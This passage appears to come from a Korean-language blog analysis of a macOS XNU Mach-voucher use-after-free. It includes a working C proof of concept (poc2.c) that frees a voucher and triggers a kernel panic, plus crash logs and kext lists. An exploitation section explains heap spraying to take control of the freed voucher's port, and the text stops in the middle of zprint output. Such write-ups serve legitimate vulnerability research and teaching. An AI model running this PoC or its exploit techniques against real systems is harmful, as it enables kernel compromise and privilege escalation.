\t1.0.8\ncom.apple.driver.AppleAHCIPort\t329.200.2\ncom.apple.driver.AppleVirtIO\t2.0.9\ncom.apple.filesystems.hfs.kext\t407.200.4\ncom.apple.AppleFSCompression.AppleFSCompressionTypeDataless\t1.0.0d1\ncom.apple.BootCache\t40\ncom.apple.AppleFSCompression.AppleFSCompressionTypeZlib\t1.0.0\ncom.apple.AppleSystemPolicy\t1.0\ncom.apple.private.KextAudit\t1.0\ncom.apple.driver.AppleACPIButtons\t6.1\ncom.apple.driver.AppleHPET\t1.8\ncom.apple.driver.AppleRTC\t2.0\ncom.apple.driver.AppleSMBIOS\t2.1\ncom.apple.driver.AppleAPIC\t1.7\ncom.apple.nke.applicationfirewall\t190\ncom.apple.security.TMSafetyNet\t8\ncom.apple.kext.triggers\t1.0\ncom.apple.driver.DspFuncLib\t282.10\ncom.apple.kext.OSvKernDSPLib\t527\ncom.apple.driver.Apple16X50Serial\t3.2\ncom.apple.driver.AppleHDAController\t282.10\ncom.apple.iokit.IOHDAFamily\t282.10\ncom.apple.driver.X86PlatformPlugin\t1.0.0\ncom.apple.driver.IOPlatformPluginFamily\t6.0.0d8\ncom.apple.iokit.IOAVBFamily\t710.1\ncom.apple.plugin.IOgPTPPlugin\t700.7\ncom.apple.iokit.IOEthernetAVBController\t1.1.0\ncom.apple.driver.AppleSSE\t1.0\ncom.apple.iokit.IOSurface\t255.1\ncom.apple.iokit.IOBluetoothFamily\t6.0.9f2\ncom.apple.AppleGPUWrangler\t3.25.6\ncom.apple.AppleGraphicsDeviceControl\t3.25.6\ncom.apple.iokit.IOSlowAdaptiveClockingFamily\t1.0.0\ncom.apple.driver.AppleSMBusController\t1.0.18d1\ncom.apple.iokit.IOSMBusFamily\t1.1\ncom.apple.iokit.IONDRVSupport\t530\ncom.apple.iokit.IOGraphicsFamily\t530.12\ncom.apple.iokit.IOAHCIBlockStorage\t301.200.2\ncom.apple.driver.usb.IOUSBHostHIDDevice\t1.2\ncom.apple.iokit.IOAudioFamily\t206.5\ncom.apple.vecLib.kext\t1.2.0\ncom.apple.driver.usb.networking\t5.0.0\ncom.apple.driver.usb.AppleUSBHostCompositeDevice\t1.2\ncom.apple.iokit.IOAHCIFamily\t288\ncom.apple.driver.usb.AppleUSBEHCIPCI\t1.2\ncom.apple.driver.usb.AppleUSBEHCI\t1.2\ncom.apple.iokit.IOSerialFamily\t11\ncom.apple.filesystems.hfs.encodings.kext\t1\ncom.apple.driver.usb.AppleUSBHostPacketFilter\t1.0\ncom.apple.iokit.IOUSBFamily\t900.4.2\ncom.apple.driver.AppleEFINVRAM\t2.1\ncom.apple.driver.AppleEFIRuntime\t2.1\ncom.apple.iokit.IOHIDFamily\t2.0.0\ncom.apple.security.quarantine\t3\ncom.apple.security.sandbox\t300.0\ncom.apple.kext.AppleMatch\t1.0.0d1\ncom.apple.driver.DiskImages\t493.0.0\ncom.apple.driver.AppleFDEKeyStore\t28.30\ncom.apple.driver.AppleEffaceableStorage\t1.0\ncom.apple.driver.AppleKeyStore\t2\ncom.apple.driver.AppleUSBTDM\t456.200.8\ncom.apple.driver.AppleMobileFileIntegrity\t1.0.5\ncom.apple.kext.CoreTrust\t1\ncom.apple.iokit.IOUSBMassStorageDriver\t145.200.2\ncom.apple.iokit.IOSCSIBlockCommandsDevice\t408.200.1\ncom.apple.iokit.IOSCSIArchitectureModelFamily\t408.200.1\ncom.apple.iokit.IOStorageFamily\t2.1\ncom.apple.driver.AppleCredentialManager\t1.0\ncom.apple.driver.KernelRelayHost\t1\ncom.apple.iokit.IOUSBHostFamily\t1.2\ncom.apple.driver.usb.AppleUSBCommon\t1.0\ncom.apple.driver.AppleBusPowerController\t1.0\ncom.apple.driver.AppleSEPManager\t1.0.1\ncom.apple.driver.IOSlaveProcessor\t1\ncom.apple.iokit.IOReportFamily\t47\ncom.apple.iokit.IOTimeSyncFamily\t700.7\ncom.apple.iokit.IONetworkingFamily\t3.4\ncom.apple.driver.AppleACPIPlatform\t6.1\ncom.apple.driver.AppleSMC\t3.1.9\ncom.apple.iokit.IOPCIFamily\t2.9\ncom.apple.iokit.IOACPIFamily\t1.4\ncom.apple.kec.pthread\t1\ncom.apple.kec.Libm\t1\ncom.apple.kec.corecrypto\t1.0\n\nEOF\nModel: iMacPro1,1, BootROM 2022.100.22.0.0, 1 processor, Intel Core 2 Solo, 3.8 GHz, 2 GB, SMC \nGraphics: Display, 3 MB\nMemory Module: DIMM 0, 2 GB, RAM, 0 MHz, QEMU, Unknown\nNetwork Service: Ethernet, Ethernet, en0\nSerial ATA Device: QEMU HARDDISK, 402.7 MB\nSerial ATA Device: QEMU HARDDISK, 14.68 GB\nSerial ATA Device: QEMU HARDDISK, 68.72 GB\nUSB Device: USB 2.0 Bus\nUSB Device: QEMU USB Mouse\nUSB Device: QEMU USB Keyboard\nThunderbolt Bus: \n<\/code><\/pre>\n<h2>\uac1c\ub150 \uc99d\uba85 \ucf54\ub4dc 2<\/h2>\n<p>\ud574\ub2f9 \ucf54\ub4dc\uc5d0 \ub300\ud574 \uc124\uba85\ud558\uc790\uba74,\n\uba3c\uc800 p1(\ud0c0\uac9f \ubc14\uc6b0\ucc98)\uc744 \ub098\uc911\uc5d0 \ub2e4\uc2dc \uc811\uadfc\ud560 \uc218 \uc788\ub3c4\ub85d \uc6b0\ub9ac \uc2a4\ub808\ub4dc\uc5d0 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<p>\uc774\ud6c4 \uadf8\uac83\uc744 \ub2e4\uc2dc \uac00\uc838\uc624\ub824\uace0 \uc2dc\ub3c4\ud558\uba74, \ud574\ub2f9 \ubc14\uc6b0\ucc98\uc758 \ucc38\uc870(ref)\uac00 \uc99d\uac00\ud558\uac8c \ub418\uba70 \u2014 \ud604\uc7ac p1\uc758 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub294 2\uac00 \ub41c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c task_swap_mach_voucher \ud568\uc218\ub97c \ud1b5\ud574 p1\uc758 ref \uce74\uc6b4\ud2b8\ub97c \uac10\uc18c \uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0\np3\uc640 \uc2a4\uc651\ud55c \uc774\ud6c4\ub85c\ub294 voucher\ub97c free\uc2dc\ucf1c\ubc84\ub9ac\uac8c\ub41c\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\uc758 \uba54\ubaa8\ub9ac\uc5d0 \ub300\ud55c \ub315\uae00\ub9c1 \ud3ec\uc778\ud130(dangling pointer)\uac00 <code>ith_voucher<\/code>\uc5d0 \ub0a8\uac8c \ub418\uba70,\n\uc774\ud6c4 <code>thread_get_mach_voucher()<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ud3ec\uc778\ud130\uc5d0 \uc811\uadfc\ud558\uba74 \ucee4\ub110 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<ul>\n<li>poc2.c<\/li>\n<\/ul>\n<pre><code class=\"language-c\">#include &lt;assert.h&gt;\n#include &lt;mach\/mach.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\n\nint\nmain(int argc, const char *argv[]) {\n\tmach_voucher_attr_recipe_data_t atm_data = \n    {\n            .key = MACH_VOUCHER_ATTR_KEY_ATM, \/\/1\n            .command = 510\n    };\n\n    mach_port_t p1;\n    kern_return_t ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p1);\n\n    mach_port_t p2;\n    ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p2);\n\n    mach_port_t p3;\n    ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p3);\n\n    \/* \n            We assign p1 (our target voucher) onto our thread so it can be accessed again later.\n            When we later try to retreive it \n            This will increment a ref on the voucher -- the current refcount is 2 \n    *\/\n    ret = thread_set_mach_voucher(mach_thread_self(), p1);\n\n    ret = task_swap_mach_voucher(mach_task_self(), p1, &amp;p2); \/\/ Trigger the bug once, this drops a ref from 2 to 1 \n\n    ret = task_swap_mach_voucher(mach_task_self(), p1, &amp;p3); \/\/ Second trigger, this frees the voucher (refcnt=0)\n\n    \/* Ask for a handle on the danging voucher, 9 times out of 10 this will cause a panic due to the bad refcnt etc *\/ \n    mach_port_t real_port_to_fake_voucher = MACH_PORT_NULL;\n    ret = thread_get_mach_voucher(mach_thread_self(), 0, &amp;real_port_to_fake_voucher);\n}\n<\/code><\/pre>\n<h3>\ud06c\ub798\uc2dc \ub85c\uadf8<\/h3>\n<pre><code class=\"language-c\">Anonymous UUID:       669CA505-4C1E-F5BE-EFB4-13F2D89CF791\n\nSat Aug  2 14:22:23 2025\n\n*** Panic Report ***\npanic(cpu 0 caller 0xffffff80187e5739): &quot;os_refcnt: overflow (rc=0xffffff8024c03b48, grp=&lt;null&gt;)\\n&quot;@\/BuildRoot\/Library\/Caches\/com.apple.xbs\/Sources\/xnu\/xnu-4903.221.2\/libkern\/os\/refcnt.c:58\nBacktrace (CPU 0), Frame : Return Address\n0xffffff801e653a40 : 0xffffff80187aca9d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801e653a90 : 0xffffff80188e6893 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801e653ad0 : 0xffffff80188d82ba mach_kernel : _kernel_trap + 0x4fa\n0xffffff801e653b40 : 0xffffff8018759ca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801e653b60 : 0xffffff80187ac4b7 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801e653c80 : 0xffffff80187ac303 mach_kernel : _panic + 0x63\n0xffffff801e653cf0 : 0xffffff80187e5739 mach_kernel : _thread_get_mach_voucher + 0x1d9\n0xffffff801e653d40 : 0xffffff8018820097 mach_kernel : _thread_act_server_routine + 0x2627\n0xffffff801e653d80 : 0xffffff80187b218d mach_kernel : _ipc_kobject_server + 0x12d\n0xffffff801e653dd0 : 0xffffff801878cb45 mach_kernel : _ipc_kmsg_send + 0x225\n0xffffff801e653e50 : 0xffffff80187a14fe mach_kernel : _mach_msg_overwrite_trap + 0x38e\n0xffffff801e653ef0 : 0xffffff80188bfa0b mach_kernel : _mach_call_munger64 + 0x22b\n0xffffff801e653fa0 : 0xffffff801875a486 mach_kernel : _hndl_mach_scall64 + 0x16\n\nBSD process name corresponding to current thread: poc\nBoot args: -v keepsyms=1 amfi_get_out_of_my_way=1 tlbto_us=0 vti=9 \n\nMac OS version:\n18B75\n\nKernel version:\nDarwin Kernel Version 18.2.0: Fri Oct  5 19:41:49 PDT 2018; root:xnu-4903.221.2~2\/RELEASE_X86_64\nKernel UUID: 5D53F7E4-472A-369D-97D8-4DD877A4BDFF\nKernel slide:     0x0000000018400000\nKernel text base: 0xffffff8018600000\n__HIB  text base: 0xffffff8018500000\nSystem model name: iMacPro1,1 (Mac-7BA5B2D9E42DDD94)\n\nSystem uptime in nanoseconds: 150525421038\nlast loaded kext at 19366366727: com.apple.fileutil\t1 (addr 0xffffff7f998a5000, size 110592)\nloaded kexts:\nas.acidanthera.BrcmFirmwareStore\t2.6.9\nas.vit9696.AppleALC\t1.9.0\nas.vit9696.WhateverGreen\t1.6.7\nas.vit9696.Lilu\t1.6.8\ncom.apple.fileutil\t1\ncom.apple.filesystems.autofs\t3.0\ncom.apple.driver.X86PlatformShim\t1.0.0\ncom.apple.driver.AGPM\t110.23.46\ncom.apple.driver.ApplePlatformEnabler\t2.7.0d0\ncom.apple.driver.AppleHDAHardwareConfigDriver\t282.10\ncom.apple.driver.AppleHDA\t282.10\ncom.apple.driver.AppleQEMUHID\t2.0.9\ncom.apple.driver.AppleGraphicsDevicePolicy\t3.25.6\ncom.apple.driver.AppleUpstreamUserClient\t3.6.5\ncom.apple.driver.AppleMCCSControl\t1.5.6\ncom.apple.driver.AppleOSXWatchdog\t1\ncom.apple.driver.ACPI_SMC_PlatformPlugin\t1.0.0\ncom.apple.driver.Apple16X50ACPI\t3.2\ncom.apple.driver.AppleFIVRDriver\t4.1.0\ncom.apple.AGDCPluginDisplayMetrics\t3.25.6\ncom.apple.driver.AppleHV\t1\ncom.apple.iokit.IOUserEthernet\t1.0.1\ncom.apple.iokit.IOBluetoothSerialManager\t6.0.9f2\ncom.apple.driver.pmtelemetry\t1\ncom.apple.Dont_Steal_Mac_OS_X\t7.0.0\ncom.apple.driver.AppleIntelSlowAdaptiveClocking\t4.0.0\ncom.apple.filesystems.apfs\t945.220.38\ncom.apple.driver.AppleFileSystemDriver\t3.0.1\ncom.apple.driver.AppleVirtIO\t2.0.9\ncom.apple.filesystems.hfs.kext\t407.200.4\ncom.apple.AppleFSCompression.AppleFSCompressionTypeDataless\t1.0.0d1\ncom.apple.BootCache\t40\ncom.apple.AppleFSCompression.AppleFSCompressionTypeZlib\t1.0.0\ncom.apple.AppleSystemPolicy\t1.0\ncom.apple.driver.AppleVmxnet3Ethernet\t1.0.8\ncom.apple.driver.AppleAHCIPort\t329.200.2\ncom.apple.private.KextAudit\t1.0\ncom.apple.driver.AppleACPIButtons\t6.1\ncom.apple.driver.AppleHPET\t1.8\ncom.apple.driver.AppleRTC\t2.0\ncom.apple.driver.AppleSMBIOS\t2.1\ncom.apple.driver.AppleAPIC\t1.7\ncom.apple.nke.applicationfirewall\t190\ncom.apple.security.TMSafetyNet\t8\ncom.apple.kext.triggers\t1.0\ncom.apple.driver.DspFuncLib\t282.10\ncom.apple.kext.OSvKernDSPLib\t527\ncom.apple.driver.AppleGraphicsControl\t3.25.6\ncom.apple.driver.AppleSMBusController\t1.0.18d1\ncom.apple.iokit.IOSMBusFamily\t1.1\ncom.apple.driver.AppleHDAController\t282.10\ncom.apple.iokit.IOHDAFamily\t282.10\ncom.apple.driver.IOPlatformPluginLegacy\t1.0.0\ncom.apple.driver.X86PlatformPlugin\t1.0.0\ncom.apple.driver.IOPlatformPluginFamily\t6.0.0d8\ncom.apple.driver.Apple16X50Serial\t3.2\ncom.apple.driver.AppleSMBusPCI\t1.0.14d1\ncom.apple.iokit.IOAVBFamily\t710.1\ncom.apple.plugin.IOgPTPPlugin\t700.7\ncom.apple.iokit.IOEthernetAVBController\t1.1.0\ncom.apple.driver.AppleSSE\t1.0\ncom.apple.iokit.IOSurface\t255.1\ncom.apple.iokit.IOBluetoothFamily\t6.0.9f2\ncom.apple.AppleGPUWrangler\t3.25.6\ncom.apple.AppleGraphicsDeviceControl\t3.25.6\ncom.apple.iokit.IOSlowAdaptiveClockingFamily\t1.0.0\ncom.apple.iokit.IONDRVSupport\t530\ncom.apple.iokit.IOGraphicsFamily\t530.12\ncom.apple.driver.AppleXsanScheme\t3\ncom.apple.iokit.IOAHCIBlockStorage\t301.200.2\ncom.apple.driver.AppleUSBAudio\t315.6\ncom.apple.driver.usb.IOUSBHostHIDDevice\t1.2\ncom.apple.iokit.IOAudioFamily\t206.5\ncom.apple.vecLib.kext\t1.2.0\ncom.apple.driver.AppleUSBHostMergeProperties\t1.2\ncom.apple.driver.usb.cdc\t5.0.0\ncom.apple.driver.usb.networking\t5.0.0\ncom.apple.driver.usb.AppleUSBHostCompositeDevice\t1.2\ncom.apple.iokit.IOSerialFamily\t11\ncom.apple.filesystems.hfs.encodings.kext\t1\ncom.apple.iokit.IOAHCIFamily\t288\ncom.apple.driver.usb.AppleUSBEHCIPCI\t1.2\ncom.apple.driver.usb.AppleUSBEHCI\t1.2\ncom.apple.driver.usb.AppleUSBXHCIPCI\t1.2\ncom.apple.driver.usb.AppleUSBXHCI\t1.2\ncom.apple.driver.usb.AppleUSBHostPacketFilter\t1.0\ncom.apple.iokit.IOUSBFamily\t900.4.2\ncom.apple.driver.AppleEFINVRAM\t2.1\ncom.apple.driver.AppleEFIRuntime\t2.1\ncom.apple.iokit.IOHIDFamily\t2.0.0\ncom.apple.security.quarantine\t3\ncom.apple.security.sandbox\t300.0\ncom.apple.kext.AppleMatch\t1.0.0d1\ncom.apple.driver.DiskImages\t493.0.0\ncom.apple.driver.AppleFDEKeyStore\t28.30\ncom.apple.driver.AppleEffaceableStorage\t1.0\ncom.apple.driver.AppleKeyStore\t2\ncom.apple.driver.AppleUSBTDM\t456.200.8\ncom.apple.driver.AppleMobileFileIntegrity\t1.0.5\ncom.apple.kext.CoreTrust\t1\ncom.apple.iokit.IOUSBMassStorageDriver\t145.200.2\ncom.apple.iokit.IOSCSIBlockCommandsDevice\t408.200.1\ncom.apple.iokit.IOSCSIArchitectureModelFamily\t408.200.1\ncom.apple.iokit.IOStorageFamily\t2.1\ncom.apple.driver.AppleCredentialManager\t1.0\ncom.apple.driver.KernelRelayHost\t1\ncom.apple.iokit.IOUSBHostFamily\t1.2\ncom.apple.driver.usb.AppleUSBCommon\t1.0\ncom.apple.driver.AppleBusPowerController\t1.0\ncom.apple.driver.AppleSEPManager\t1.0.1\ncom.apple.driver.IOSlaveProcessor\t1\ncom.apple.iokit.IOReportFamily\t47\ncom.apple.iokit.IOTimeSyncFamily\t700.7\ncom.apple.iokit.IONetworkingFamily\t3.4\ncom.apple.driver.AppleACPIPlatform\t6.1\ncom.apple.driver.AppleSMC\t3.1.9\ncom.apple.iokit.IOPCIFamily\t2.9\ncom.apple.iokit.IOACPIFamily\t1.4\ncom.apple.kec.pthread\t1\ncom.apple.kec.Libm\t1\ncom.apple.kec.corecrypto\t1.0\n\nEOF\nModel: iMacPro1,1, BootROM 2022.100.22.0.0, 1 processor, Intel Core 2 Solo, 3.8 GHz, 2 GB, SMC \nGraphics: Display, 3 MB\nMemory Module: DIMM 0, 2 GB, RAM, 0 MHz, QEMU, Unknown\nNetwork Service: Ethernet, Ethernet, en0\nSerial ATA Device: QEMU HARDDISK, 402.7 MB\nSerial ATA Device: QEMU HARDDISK, 14.68 GB\nSerial ATA Device: QEMU HARDDISK, 68.72 GB\nUSB Device: USB 2.0 Bus\nUSB Device: QEMU USB Mouse\nUSB Device: QEMU USB Keyboard\nThunderbolt Bus: \n<\/code><\/pre>\n<h1>Exploit<\/h1>\n<h2>1. Garbage Collection\uacfc \ud568\uaed8\ud558\ub294 \ud799 \uc2a4\ud504\ub808\uc774!<\/h2>\n<p>\uc6b0\uc120 <code>ipc_voucher<\/code> \uad6c\uc870\uccb4\ub97c \ub2e4\uc2dc \uc0b4\ud3b4\ubcf4\uba74, \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/*\n * IPC Voucher\n *\n * Voucher\ub294 \ud55c \ubc88 \uc0dd\uc131\ub418\uba74 \ubcc0\uacbd\ud560 \uc218 \uc5c6\ub294(immutable) \ucc38\uc870 \uce74\uc6b4\ud2b8 \uae30\ubc18\uc758 \uac1d\uccb4\ub85c,\n * \ud2b9\uc815 \uc790\uc6d0 \uad00\ub9ac\uc790 \uc18d\uc131 \uac12\ub4e4\uc5d0 \ub300\ud55c \uc778\ub371\uc2a4 \uc9d1\ud569\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4\n * (\uc774 \uc18d\uc131 \uac12\ub4e4 \uc790\uccb4\ub3c4 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub97c \uac00\uc9d0).\n *\/\nstruct ipc_voucher {\n  iv_index_t    iv_hash;         \/* \uccb4\ud06c\uc12c \ud574\uc2dc *\/\n  iv_index_t    iv_sum;          \/* \uac12\ub4e4\uc758 \uccb4\ud06c\uc12c *\/\n  os_refcnt_t   iv_refs;         \/* \ucc38\uc870 \uce74\uc6b4\ud2b8 *\/\n  iv_index_t    iv_table_size;   \/* \ubc14\uc6b0\ucc98 \ud14c\uc774\ube14\uc758 \ud06c\uae30 *\/\n  iv_index_t    iv_inline_table[IV_ENTRIES_INLINE]; \/* \uc778\ub77c\uc778 \ud14c\uc774\ube14 *\/\n  iv_entry_t    iv_table;        \/* \ubc14\uc6b0\ucc98 \uc18d\uc131 \ud56d\ubaa9 \ud14c\uc774\ube14 *\/\n  ipc_port_t    iv_port;         \/* \ubc14\uc6b0\ucc98\ub97c \ub098\ud0c0\ub0b4\ub294 \ud3ec\ud2b8 *\/\n  queue_chain_t iv_hash_link;    \/* \ud574\uc2dc \uccb4\uc778\uc5d0\uc11c\uc758 \uc5f0\uacb0 \ub9c1\ud06c *\/\n};\n<\/code><\/pre>\n<p>\uc6b0\ub9ac\ub294 <code>iv_refs<\/code> \ud544\ub4dc\ub97c \ubcfc \uc218 \uc788\ub294\ub370, \uc774 \uac12\uc744 \ud1b5\ud574\uc11c \ud574\ub2f9 voucher\ub97c free\uc2dc\ud0ac\uac74\uc9c0 \ub9d0\uac74\uc9c0 \uacb0\uc815\ud55c\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uac00 poc\ub97c \ud1b5\ud574 \uc774 \ud544\ub4dc\ub97c \uac10\uc18c\uc2dc\ucf1c free\uc2dc\ud0a4\uac8c \ub9cc\ub4e0 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub77c\uace0 \ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc911\uc694\ud55c \uc810\uc740 <code>iv_port<\/code>\uc5d0 \uc788\ub294 <code>ipc_port_t<\/code>\uc5d0 \ub300\ud55c \ud3ec\uc778\ud130\uc774\ub2e4.<\/p>\n<p>\uc774 <code>ipc_port_t<\/code> \uad6c\uc870\uccb4\ub294 \uc77c\ubc18\uc801\uc778 Mach \ud3ec\ud2b8\uc758 \ucee4\ub110 \ud45c\ud604\uc744 \uc758\ubbf8\ud558\ub294\ub370,\n\uc774 \uacbd\uc6b0 <code>ipc_voucher<\/code>\ub294 <code>ipc_port_t<\/code>\ub97c \ud544\ub4dc\ub85c \uad6c\ud604\ud558\uba74\uc11c \uc790\uc2e0\uc758 \uc77c\ubd80 \uc18d\uc131\ub4e4(\uc608: <code>iv_table<\/code>\uacfc <code>iv_inline_table<\/code>)\uc744 \uad6c\ud604\ud55c\ub2e4.<\/p>\n<p><strong>\ub610 \ub2e4\ub978 \uc911\uc694\ud55c \uc810\uc740 \uc218\uc2e0 \uad8c\ud55c(receive right)\uc774 \uc5c6\ub2e4\ub294 \uac83\uc774\ub2e4.<\/strong>\n\ubcf4\ud1b5 Mach\uc5d0\uc11c\ub294 \ud3ec\ud2b8\uac00 \uc804\uc1a1 \uad8c\ud55c\uacfc \uc218\uc2e0 \uad8c\ud55c\uc744 \uac00\uc9c8 \uc218 \uc788\uc73c\uba70, \ud3ec\ud2b8\uc5d0 \uc804\uc1a1 \uad8c\ud55c\uc774 \uc788\uc73c\uba74 \ud574\ub2f9 \ud3ec\ud2b8\ub97c \ud1b5\ud574 \uba54\uc2dc\uc9c0\ub97c \ubcf4\ub0bc \uc218 \uc788\uace0, \ud3ec\ud2b8\uc5d0 \uc218\uc2e0 \uad8c\ud55c\uc774 \uc788\uc73c\uba74 \ud574\ub2f9 \ud3ec\ud2b8\ub97c \ud1b5\ud574 \uba54\uc2dc\uc9c0\ub97c \ubc1b\uc744 \uc218 \uc788\ub294\ub370<\/p>\n<p><strong>\uc704 \uacbd\uc6b0\ub294 \uc804\uc1a1 \uad8c\ud55c\ub9cc \uac00\uc9c4\ub2e4.<\/strong><\/p>\n<p>\uc989, <code>ipc_voucher<\/code> \uad6c\uc870\uccb4\uc5d0\uc11c \uc6b0\ub9ac\uc5d0\uac8c \uc911\uc694\ud55c \ud544\ub4dc\ub294 <code>iv_refs<\/code>\uc640 <code>iv_port<\/code>\ubfd0\uc774\ub2e4.\n\ub098\uba38\uc9c0 \ud544\ub4dc\ub4e4\uc740 \uc804\uc5ed \ubc14\uc6b0\ucc98 \uac1d\uccb4 \ub9ac\uc2a4\ud2b8 \uad00\ub9ac\ub098 \ubc14\uc6b0\ucc98\uac00 \ud45c\ud604\ud558\ub294 \uc18d\uc131 \uc800\uc7a5\uacfc \uad00\ub828\ub41c \uac83\uc774\uba70, \uc911\uc694\ud558\uc9c0 \uc54a\ub2e4.<\/p>\n<p>\uc55e\uc11c \uc0b4\ud3b4\ubcf8 \ucde8\uc57d\uc810\uc744 \ud1b5\ud574 voucher\ub97c \ud574\uc81c\uc2dc\ud0ac \uc218 \uc788\ub2e4\uba74,\n\u201c\ud799 \uc2a4\ud504\ub808\uc774\u201d \uae30\ubc95\uc744 \ud1b5\ud574 \uacf5\uaca9\uc790\uac00 \uc81c\uc5b4\ud558\ub294 \ub370\uc774\ud130\ub97c \uc774 \uc704\uce58\uc5d0 \ub36e\uc5b4\uc4f8 \uc218 \uc788\uac8c \ub9cc\ub4e4 \uc218 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\ud55c\ub9c8\ub514\ub85c \ucee4\ub110 \ud799\uc5d0 \uc18d\ud558\ub294 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \uc6b0\ub9ac\uc758 \ub370\uc774\ud130\ub85c \ub36e\uc5b4\uc4f0\ub294 \uac83\uc744 \ub9d0\ud55c\ub2e4.<\/p>\n<p>\ub9cc\uc57d \ud799 \uc2a4\ud504\ub808\uc774\uac00 \uc131\uacf5\uc801\uc73c\ub85c \uc774\ub8e8\uc5b4\uc84c\ub2e4\uba74,\n\uc2a4\ub808\ub4dc\uc5d0 \uc788\ub294 \ubc14\uc6b0\ucc98 \ud3ec\uc778\ud130\uac00 \uc6b0\ub9ac\uc758 \uc784\uc758\uc758 \ubc14\uc6b0\ucc98 \uad6c\uc870\uccb4\ub97c \uac00\ub9ac\ud0a4\uac8c \ub418\uba70, \uc6b0\ub9ac\ub294 <code>thread_get_mach_voucher<\/code> \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\uc5ec \ud574\ub2f9 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud55c \uc0ac\uc6a9\uc790 \uc601\uc5ed \ud578\ub4e4\uc744 \uc5bb\uc744 \uc218 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, \uc774 \ud578\ub4e4\uc744 Mach API \ud568\uc218\ub97c \ud1b5\ud574\uc11c \uc0c8\ub85c\uc6b4 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \ub9cc\ub4e4 \uc218\ub3c4 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \ud799 \uc2a4\ud504\ub808\uc774\ub97c \uc218\ud589\ud560 \ub54c, \uc6b0\ub9ac\ub294 \uc774 <code>ipc_voucher<\/code> \uad6c\uc870\uccb4\ub4e4\uc744 \ucee4\ub110 \ud799\uc5d0 \uc2a4\ud504\ub808\uc774\ud558\uace0, \ud574\uc81c\ub41c voucher \uad6c\uc870\uccb4\ub97c \uc784\uc758\uc758 \uad6c\uc870\uccb4\ub85c \uad50\uccb4\ud558\ub294\ub370,<\/p>\n<p>\uc8fc\uc694 \ubaa9\ud45c\ub294 <code>iv_port<\/code> \ud544\ub4dc\ub97c \uc81c\uc5b4\ud558\uace0 \uc774\ub97c \uacf5\uaca9\uc790\uac00 \uc81c\uc5b4\ud558\ub294 <code>ipc_port<\/code>\ub85c \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4dc\ub294 \uac83\uc774 \ub418\uaca0\ub2e4.<\/p>\n<h3>Garbage Collection<\/h3>\n<p>\ub2e4\ub9cc, \uc2a4\ud504\ub808\uc774\ub97c \ud558\ub294\ub370 \uc55e\uc11c \ud574\uc81c\ud55c \ub4a4\uc5d0\ub294 \uac00\ubc14\uc9c0 \uceec\ub809\uc158\uc744 \uc9c4\ud589\uc2dc\ucf1c\uc8fc\uc5b4\uc57c \ud55c\ub2e4.<\/p>\n<p>kalloc\uc740 \uc6b0\ub9ac\uac00 UAF\ud55c ipc_voucher \uad6c\uc870\uccb4\ub97c \ud560\ub2f9\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 XNU \ud560\ub2f9\uc790\ub85c, \uac1d\uccb4\ub97c \ud560\ub2f9\uc2dc\ud0a4\uae30 \uc704\ud574 &quot;\uc874(zone)&quot;\uc774\ub77c\ub294 \uc77c\ub828\uc758 \uc601\uc5ed\uc744 \uc0ac\uc6a9\ud55c\ub2e4. \uc774\ub7ec\ud55c \uc874\uc740 \ud2b9\uc815 \ud06c\uae30\ub098 \uc720\ud615\uc758 \uac1d\uccb4\ub9cc\uc744 \ud3ec\ud568\ud558\ub294 \ud799 \uba54\ubaa8\ub9ac\uc758 \uad6c\uc5ed\uc774\ub2e4. \uc774\ub97c \ud14c\uba74 kalloc.32 \uc874\uc740 \ud06c\uae30\uac00 32\ubc14\uc774\ud2b8 \uc774\ud558\uc778 \uac1d\uccb4\ub4e4\uc744 \ud3ec\ud568\ud558\ub294 \uac83\uc774\ub2e4. \uc774\ub7ec\ud55c \uc874\ub4e4\uc740 \ud130\ubbf8\ub110\uc5d0\uc11c \u201czprint\u201d \uba85\ub839\uc5b4\ub97c \uc0ac\uc6a9\ud558\uc5ec \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">seos-iMac-Pro:~ seo$ sudo zprint\n                            elem         cur         max        cur         max         cur  alloc  alloc    \nzone name                   size        size        size      #elts       #elts       inuse   size  count\n-------------------------------------------------------------------------------------------------------------\nkalloc.16                     16       1640K       1751K     104960      112100       82866     4K    256  C\nkalloc.32                     32       2168K       2627K      69376       84075       22966     4K    128  C\nkalloc.48                     48       1064K       2627K      22698       56050       18639     4K     85  C\nkalloc.64                     64       1256K       1751K      20096       28025       18804     4K     64  C\nkalloc.80                     80        608K       1167K       7782    